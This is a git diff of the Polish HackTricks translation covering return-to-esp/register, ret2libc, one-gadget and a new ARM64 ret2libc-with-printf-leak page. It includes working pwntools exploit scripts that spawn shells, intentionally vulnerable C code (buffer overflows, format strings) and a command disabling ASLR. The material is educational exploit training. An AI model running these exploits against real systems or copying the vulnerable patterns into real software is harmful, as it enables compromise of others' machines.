Translated ['binary-exploitation/rop-return-oriented-programing/ret2esp-

This commit is contained in:
Translator 2024-04-12 00:08:33 +00:00
parent 2250256da5
commit eb002332ad
17 changed files with 352 additions and 30 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 188 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 213 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 244 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 209 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 562 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 297 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 230 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 45 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 247 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 394 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 258 KiB

View file

@ -705,6 +705,7 @@
* [Leaking libc address with ROP](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md)
* [Leaking libc - template](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
* [One Gadget](binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md)
* [Ret2lib + Printf leak - arm64](binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md)
* [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md)
* [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
* [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)

View file

@ -7,16 +7,16 @@
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## **Ret2esp**
**Ponieważ ESP (Wskaźnik stosu) zawsze wskazuje na górę stosu**, ta technika polega na zastąpieniu EIP (Wskaźnik instrukcji) adresem instrukcji **`jmp esp`** lub **`call esp`**. Dzięki temu, shellcode jest umieszczany bezpośrednio po nadpisanej wartości EIP. Gdy instrukcja `ret` jest wykonywana, ESP wskazuje na następny adres, dokładnie tam, gdzie przechowywany jest shellcode.
**Ponieważ ESP (Wskaźnik stosu) zawsze wskazuje na górę stosu**, ta technika polega na zastąpieniu EIP (Wskaźnik instrukcji) adresem instrukcji **`jmp esp`** lub **`call esp`**. Dzięki temu, shellcode jest umieszczony bezpośrednio po nadpisanej wartości EIP. Gdy instrukcja `ret` jest wykonywana, ESP wskazuje na następny adres, dokładnie tam, gdzie przechowywany jest shellcode.
Jeśli **Randomizacja Układu Przestrzeni Adresowej (ASLR)** nie jest włączona w systemie Windows lub Linux, można użyć instrukcji `jmp esp` lub `call esp` znalezionych w bibliotekach współdzielonych. Jednakże, przy [**ASLR**](../common-binary-protections-and-bypasses/aslr/) aktywnym, konieczne może być poszukiwanie tych instrukcji w samym programie podatnym (i możliwe, że trzeba będzie pokonać [**PIE**](../common-binary-protections-and-bypasses/pie/)).
@ -24,7 +24,7 @@ Co więcej, możliwość umieszczenia shellcode **po nadpisaniu EIP**, a nie w
### Brak miejsca
Jeśli brakuje Ci miejsca do zapisania po nadpisaniu RIP (może to być tylko kilka bajtów), napisz początkowy **`jmp`** shellcode, na przykład:
Jeśli brakuje Ci miejsca do zapisania po nadpisaniu RIP (może to być tylko kilka bajtów), napisz początkowy shellcode **`jmp`** jak:
```armasm
sub rsp, 0x30
jmp rsp
@ -33,7 +33,7 @@ I zapisz shellcode na początku stosu.
### Przykład
Możesz znaleźć przykład tej techniki w [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) z końcowym exploit'em jak:
Możesz znaleźć przykład tej techniki w [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) z ostatecznym exploit'em jak:
```python
from pwn import *
@ -87,11 +87,10 @@ target.sendline(payload)
# Drop to an interactive shell
target.interactive()
```
## Ret2reg
Podobnie, jeśli znamy funkcję zwracającą adres, w którym przechowywany jest kod powłoki, możemy wykorzystać instrukcje **`call eax`** lub **`jmp eax`** (znane jako technika **ret2eax**), oferując inny sposób wykonania naszego kodu powłoki. Podobnie jak eax, **dowolny inny rejestr** zawierający interesujący adres może być użyty (**ret2reg**).
Podobnie, jeśli znamy funkcję zwracającą adres, w którym przechowywany jest kod powłoki, możemy wykorzystać instrukcje **`call eax`** lub **`jmp eax`** (znane jako technika **ret2eax**), oferującą inną metodę wykonania naszego kodu powłoki. Podobnie jak eax, **dowolny inny rejestr** zawierający interesujący adres może być użyty (**ret2reg**).
### Przykład
@ -99,12 +98,93 @@ Możesz znaleźć kilka przykładów tutaj:&#x20;
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
* **`strcpy`** przechowa w **`eax`** adres bufora, w którym przechowywany jest kod powłoki, a **`eax`** nie jest nadpisywany, więc można użyć `ret2eax`.
* **`strcpy`** przechowa adres bufora, w którym przechowywany jest kod powłoki, w **`eax`** i **`eax`** nie jest nadpisywany, więc można użyć `ret2eax`.
## ARM64
### Ret2sp
W ARM64 nie ma instrukcji pozwalających na **skok do rejestru SP**. Możliwe jest znalezienie gadżetu, który **przenosi sp do rejestru, a następnie skacze do tego rejestru**, ale w bibliotece libc mojego kali nie udało mi się znaleźć takiego gadżetu:
```bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
```
{% endcode %}
Jedynymi, które odkryłem, zmieniłyby wartość rejestru, do którego został skopiowany sp przed skokiem do niego (co sprawiłoby, że stałby się bezużyteczny):
<figure><img src="../../.gitbook/assets/image (1221).png" alt=""><figcaption></figcaption></figure>
### Ret2reg
Jeśli rejestr ma interesujący adres, można do niego skoczyć, znajdując odpowiednią instrukcję. Możesz użyć czegoś w stylu:
{% code overflow="wrap" %}
```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```
{% endcode %}
W ARM64 to **`x0`** przechowuje wartość zwracaną przez funkcję, więc może się zdarzyć, że x0 przechowuje adres bufora kontrolowanego przez użytkownika z shellcodem do wykonania.
Przykładowy kod:
```c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
```
Sprawdzając rozkład funkcji, można zobaczyć, że **adres bufora** (podatnego na przepełnienie bufora i **kontrolowanego przez użytkownika**) jest **przechowywany w `x0`** przed powrotem z przepełnienia bufora:
<figure><img src="../../.gitbook/assets/image (1222).png" alt="" width="563"><figcaption></figcaption></figure>
Można również znaleźć gadżet **`br x0`** w funkcji **`do_stuff`**:
<figure><img src="../../.gitbook/assets/image (1223).png" alt="" width="563"><figcaption></figcaption></figure>
Wykorzystamy ten gadżet, aby do niego przeskoczyć, ponieważ binarny plik jest skompilowany **BEZ PIE.** Korzystając z wzorca, można zobaczyć, że **przesunięcie przepełnienia bufora wynosi 80**, więc exploit będzie:
```python
from pwn import *
p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')
stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
```
{% hint style="warning" %}
Jeśli zamiast `fgets` zostało użyte coś takiego jak **`read`**, byłoby możliwe obejście PIE również poprzez **nadpisanie tylko ostatnich 2 bajtów adresu powrotu** aby powrócić do instrukcji `br x0;` bez konieczności znajomości pełnego adresu.\
Z `fgets` to nie działa, ponieważ **dodaje bajt null (0x00) na końcu**.
{% endhint %}
## Protections
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Jeśli stos nie jest wykonawczy, to nie pomoże, ponieważ musimy umieścić kod powłoki na stosie i skoczyć, aby go wykonać.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Te mechanizmy mogą utrudnić znalezienie instrukcji do skoku do esp lub dowolnego innego rejestru.
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Jeśli stos nie jest wykonawczy, to nie pomoże, ponieważ musimy umieścić shellcode na stosie i skoczyć, aby go wykonać.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Mogą sprawić, że będzie trudniej znaleźć instrukcję do skoku do esp lub dowolnego innego rejestru.
## References
@ -117,8 +197,8 @@ Możesz znaleźć kilka przykładów tutaj:&#x20;
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

View file

@ -6,7 +6,7 @@
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -16,16 +16,16 @@ Inne sposoby wsparcia HackTricks:
## **Podstawowe informacje**
Istotą **Ret2Libc** jest przekierowanie przepływu wykonania podatnego programu do funkcji w bibliotece współdzielonej (np. **system**, **execve**, **strcpy**) zamiast wykonywania kodu shell dostarczonego przez atakującego na stosie. Atakujący tworzy ładunek, który modyfikuje adres powrotu na stosie, aby wskazywał na pożądaną funkcję biblioteczną, jednocześnie zapewniając, że wszystkie niezbędne argumenty są poprawnie ustawione zgodnie z konwencją wywołania.
Istotą **Ret2Libc** jest przekierowanie przepływu wykonania podatnego programu do funkcji w bibliotece współdzielonej (np. **system**, **execve**, **strcpy**) zamiast wykonywania kodu shell dostarczonego przez atakującego na stosie. Atakujący tworzy ładunek, który modyfikuje adres powrotu na stosie, aby wskazywał na pożądaną funkcję biblioteczną, jednocześnie zapewniając, że wszelkie konieczne argumenty są poprawnie ustawione zgodnie z konwencją wywołania.
### **Przykładowe kroki (uproszczone)**
* Uzyskaj adres funkcji do wywołania (np. system) i polecenie do wykonania (np. /bin/sh)
* Wygeneruj łańcuch ROP, aby przekazać pierwszy argument wskazujący na ciąg poleceń i przepływ wykonania do funkcji
* Uzyskaj adres funkcji do wywołania (np. system) i polecenie do wywołania (np. /bin/sh)
* Wygeneruj łańcuch ROP, aby przekazać pierwszy argument wskazujący na ciąg poleceń oraz przepływ wykonania do funkcji
## Znajdowanie adresów
* Zakładając, że używana jest biblioteka `libc` z bieżącej maszyny, można znaleźć, gdzie zostanie załadowana w pamięci za pomocą:
* Zakładając, że używana jest `libc` z bieżącej maszyny, można znaleźć, gdzie zostanie załadowana w pamięci za pomocą:
{% code overflow="wrap" %}
```bash
@ -45,7 +45,7 @@ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
### Używając gdb-peda / GEF
### Korzystanie z gdb-peda / GEF
Znając używaną bibliotekę libc, można również użyć Peda lub GEF, aby uzyskać adres funkcji **system**, funkcji **exit** oraz ciągu znaków **`/bin/sh`**:
```bash
@ -89,11 +89,11 @@ Te ataki brute-force są **przydatne tylko dla systemów 32-bitowych**.
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* Jeśli atakujesz zdalny serwer, możesz spróbować **przeprowadzić atak siłowy na adres funkcji `usleep` z biblioteki `libc`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer zajmuje dodatkowe 10 sekund na odpowiedź**, oznacza to, że znalazłeś adres tej funkcji.
* Jeśli atakujesz zdalny serwer, możesz spróbować **przeprowadzić atak siłowy na adres funkcji `usleep` z biblioteki `libc`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer potrzebuje dodatkowych 10 sekund na odpowiedź**, oznacza to, że znalazłeś adres tej funkcji.
## One Gadget
Wykonaj powłokę, skacząc tylko do **jednego** konkretnego **adresu** w bibliotece `libc`:
Wykonaj powłokę, skacząc do **jednego** określonego **adresu** w bibliotece `libc`:
{% content-ref url="one-gadget.md" %}
[one-gadget.md](one-gadget.md)
@ -125,9 +125,21 @@ Sprawdź przykład z:
[..](../)
{% endcontent-ref %}
## Przykład ARM64 Ret2lib
W przypadku ARM64 instrukcja ret skacze tam, gdzie wskazuje rejestr x30, a nie tam, gdzie wskazuje rejestr stosu. Jest to trochę bardziej skomplikowane.
Ponadto w ARM64 instrukcja wykonuje to, co ma wykonać (nie można skakać w środek instrukcji i przekształcać ich w nowe).
Sprawdź przykład z:
{% content-ref url="ret2lib-+-printf-leak-arm64.md" %}
[ret2lib-+-printf-leak-arm64.md](ret2lib-+-printf-leak-arm64.md)
{% endcontent-ref %}
## Ret-into-printf (lub puts)
Pozwala to **wyciekać informacje z procesu** poprzez wywołanie `printf`/`puts` z określonymi danymi umieszczonymi jako argument.
To pozwala na **wyciek informacji z procesu** poprzez wywołanie `printf`/`puts` z określonymi danymi umieszczonymi jako argument. Na przykład umieszczenie adresu `puts` w GOT podczas wywołania `puts` spowoduje **wyciek adresu `puts` w pamięci**.
## Ret2printf
@ -137,17 +149,17 @@ Oznacza to w zasadzie nadużycie **Ret2lib w celu przekształcenia go w podatno
[format-strings](../../format-strings/)
{% endcontent-ref %}
## Inne przykłady i odnośniki
## Inne Przykłady i odnośniki
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
* Ret2lib, mając wyciek do adresu funkcji w libc, korzystając z jednego gadżetu
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* 64 bity, ASLR włączone, ale brak PIE, pierwszym krokiem jest zapełnienie przepełnienia aż do bajtu 0x00 canary, a następnie wywołanie puts i wyciek go. Z canary tworzony jest gadżet ROP do wywołania puts w celu wycieku adresu puts z GOT, a następnie gadżet ROP do wywołania `system('/bin/sh')`
* 64 bity, ASLR włączone, ale brak PIE, pierwszym krokiem jest przepełnienie aż do bajtu 0x00 canary, a następnie wywołanie puts i wyciek. Z canary tworzony jest gadżet ROP do wywołania puts w celu wycieku adresu puts z GOT, a następnie gadżet ROP do wywołania `system('/bin/sh')`
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* 64 bity, ASLR włączone, brak canary, przepełnienie stosu w funkcji głównej z funkcji potomnej. Gadżet ROP do wywołania puts w celu wycieku adresu puts z GOT, a następnie wywołanie jednego gadżetu.
* [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html)
* 64 bity, brak pie, brak canary, brak relro, nx. Wykorzystuje funkcję write do wycieku adresu write (libc) i wywołuje jeden gadżet.
* 64 bity, brak pie, brak canary, brak relro, nx. Używa funkcji write do wycieku adresu write (libc) i wywołuje jeden gadżet.
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
* Wykorzystuje łańcuch formatujący do wycieku canary ze stosu i przepełnienie bufora do wywołania systemu (jest w GOT) z adresem `/bin/sh`.
* Używa łańcucha formatującego do wycieku canary ze stosu i przepełnienia buforu do wywołania systemu (jest w GOT) z adresem `/bin/sh`.
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
* 32 bity, brak relro, brak canary, nx, pie. Wykorzystuje złe indeksowanie do wycieku adresów libc i sterty ze stosu. Wykorzystuje przepełnienie bufora do wykonania ret2lib wywołując `system('/bin/sh')` (adres sterty jest potrzebny do ominięcia sprawdzenia).
* 32 bity, brak relro, brak canary, nx, pie. Nadużywa złego indeksowania do wycieku adresów libc i sterty ze stosu. Nadużywa przepełnienie buforu do wykonania ret2lib wywołującego `system('/bin/sh')` (adres sterty jest potrzebny do ominięcia sprawdzenia).

View file

@ -17,7 +17,7 @@ Inne sposoby wsparcia HackTricks:
## Podstawowe informacje
[**Jedno narzędzie**](https://github.com/david942j/one\_gadget) pozwala uzyskać powłokę zamiast korzystania z **system** i **"/bin/sh". Jedno narzędzie** znajdzie w bibliotece libc sposób uzyskania powłoki (`execve("/bin/sh")`) za pomocą jednego **adresu**.\
Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do uniknięcia to na przykład `[rsp+0x30] == NULL`. Ponieważ kontrolujesz wartości w **RSP**, wystarczy wysłać więcej wartości NULL, aby uniknąć tego ograniczenia.
Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do uniknięcia to na przykład `[rsp+0x30] == NULL`. Ponieważ kontrolujesz wartości w **RSP**, wystarczy wysłać więcej wartości NULL, aby uniknąć ograniczenia.
![](<../../../.gitbook/assets/image (751).png>)
```python
@ -30,10 +30,14 @@ Aby uzyskać adres wskazany przez One Gadget, **należy dodać adres bazowy, gdz
One Gadget jest **wielką pomocą dla technik Arbitrary Write 2 Exec** i może **upraszczać łańcuchy ROP**, ponieważ wystarczy wywołać jeden adres (i spełnić wymagania).
{% endhint %}
### ARM64
Repozytorium na githubie wspomina, że **ARM64 jest obsługiwany** przez narzędzie, ale podczas uruchamiania go w bibliotece `libc` Kali 2023.3 **nie znajduje żadnego gadżetu**.
## Angry Gadget
Z [**repozytorium na githubie**](https://github.com/ChrisTheCoolHut/angry\_gadget): Zainspirowany przez [OneGadget](https://github.com/david942j/one\_gadget) ten narzędzie napisane w Pythonie używa [angr](https://github.com/angr/angr) do testowania ograniczeń dla gadżetów wykonujących `execve('/bin/sh', NULL, NULL)`\
Jeśli skończyły Ci się gadżety do wypróbowania z OneGadget, Angry Gadget oferuje znacznie więcej z złożonymi ograniczeniami do wypróbowania!
Z [**repozytorium na githubie**](https://github.com/ChrisTheCoolHut/angry\_gadget): Zainspirowany [OneGadget](https://github.com/david942j/one\_gadget) ten narzędzie napisane w Pythonie używa [angr](https://github.com/angr/angr) do testowania ograniczeń dla gadżetów wykonujących `execve('/bin/sh', NULL, NULL)`\
Jeśli skończyły Ci się gadżety do wypróbowania z OneGadget, Angry Gadget oferuje ich znacznie więcej z złożonymi ograniczeniami do wypróbowania!
```bash
pip install angry_gadget
@ -49,6 +53,6 @@ Inne sposoby wsparcia HackTricks:
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>

View file

@ -0,0 +1,225 @@
# Ret2lib + Wyciek Printf - arm64
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Ret2lib - Bypass NX za pomocą ROP (bez ASLR)
```c
#include <stdio.h>
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
```
Kompilacja bez canary:
```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
### Znajdź przesunięcie
### Przesunięcie x30
Tworząc wzorzec za pomocą **`pattern create 200`**, używając go i sprawdzając przesunięcie za pomocą **`pattern search $x30`** możemy zobaczyć, że przesunięcie wynosi **`108`** (0x6c).
<figure><img src="../../../.gitbook/assets/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
Przyjrzyjmy się rozłożonej funkcji głównej, w której chcemy **przeskoczyć** do instrukcji skoku bezpośrednio do **`printf`**, którego przesunięcie od załadowania binarnego wynosi **`0x860`**:
<figure><img src="../../../.gitbook/assets/image (1216).png" alt=""><figcaption></figcaption></figure>
### Znajdź system i ciąg `/bin/sh`
Ponieważ ASLR jest wyłączone, adresy będą zawsze takie same:
<figure><img src="../../../.gitbook/assets/image (1219).png" alt=""><figcaption></figcaption></figure>
### Znajdź Gadżety
Musimy mieć w **`x0`** adres ciągu **`/bin/sh`** i wywołać **`system`**.
Korzystając z narzędzia rooper, znaleziono interesujący gadżet:
```
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
```
### Wykorzystanie
Ten gadżet załaduje `x0` z **`$sp + 0x18`** a następnie załaduje adresy x29 i x30 z `sp` i przeskoczy do x30. Dzięki temu gadżetowi możemy **kontrolować pierwszy argument, a następnie skoczyć do systemu**.
```python
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
p.close()
```
## Ret2lib - Bypass NX, ASLR i PIE za pomocą wycieku printf z stosu
```c
#include <stdio.h>
void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
```
Kompilacja **bez canary**:
```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security
```
### PIE i ASLR, ale brak canary
* Runda 1:
* Wyciek PIE ze stosu
* Wykorzystanie przepełnienia buforu, aby wrócić do funkcji main
* Runda 2:
* Wyciek libc ze stosu
* ROP: ret2system
### Wycieki z printf
Ustawienie punktu przerwania przed wywołaniem funkcji printf pozwala zobaczyć, że na stosie znajdują się adresy powrotu do binarnego pliku oraz adresy libc:
<figure><img src="../../../.gitbook/assets/image (1212).png" alt="" width="563"><figcaption></figcaption></figure>
Próba różnych przesunięć, **`%21$p`** może ujawnić adres binarny (omijanie PIE), a **`%25$p`** może ujawnić adres libc:
<figure><img src="../../../.gitbook/assets/image (1220).png" alt="" width="440"><figcaption></figcaption></figure>
Odejmując wyciekły adres libc od adresu bazowego libc, można zobaczyć, że **przesunięcie** adresu **wycieku od bazy wynosi `0x49c40`.**
### Przesunięcie x30
Zobacz poprzedni przykład, ponieważ przepełnienie buforu jest takie samo.
### Znajdowanie Gadgetów
Podobnie jak w poprzednim przykładzie, musimy umieścić w **`x0`** adres łańcucha **`/bin/sh`** i wywołać funkcję **`system`**.
Korzystając z narzędzia ropper, znaleziono kolejny interesujący gadżet:
```
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
```
Ten gadżet załaduje `x0` z **`$sp + 0x78`** a następnie załaduje adresy x29 i x30 ze stosu i przeskoczy do x30. Dzięki temu gadżetowi możemy **kontrolować pierwszy argument i następnie skoczyć do systemu**.
### Wykorzystanie
```python
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")
# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)
# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
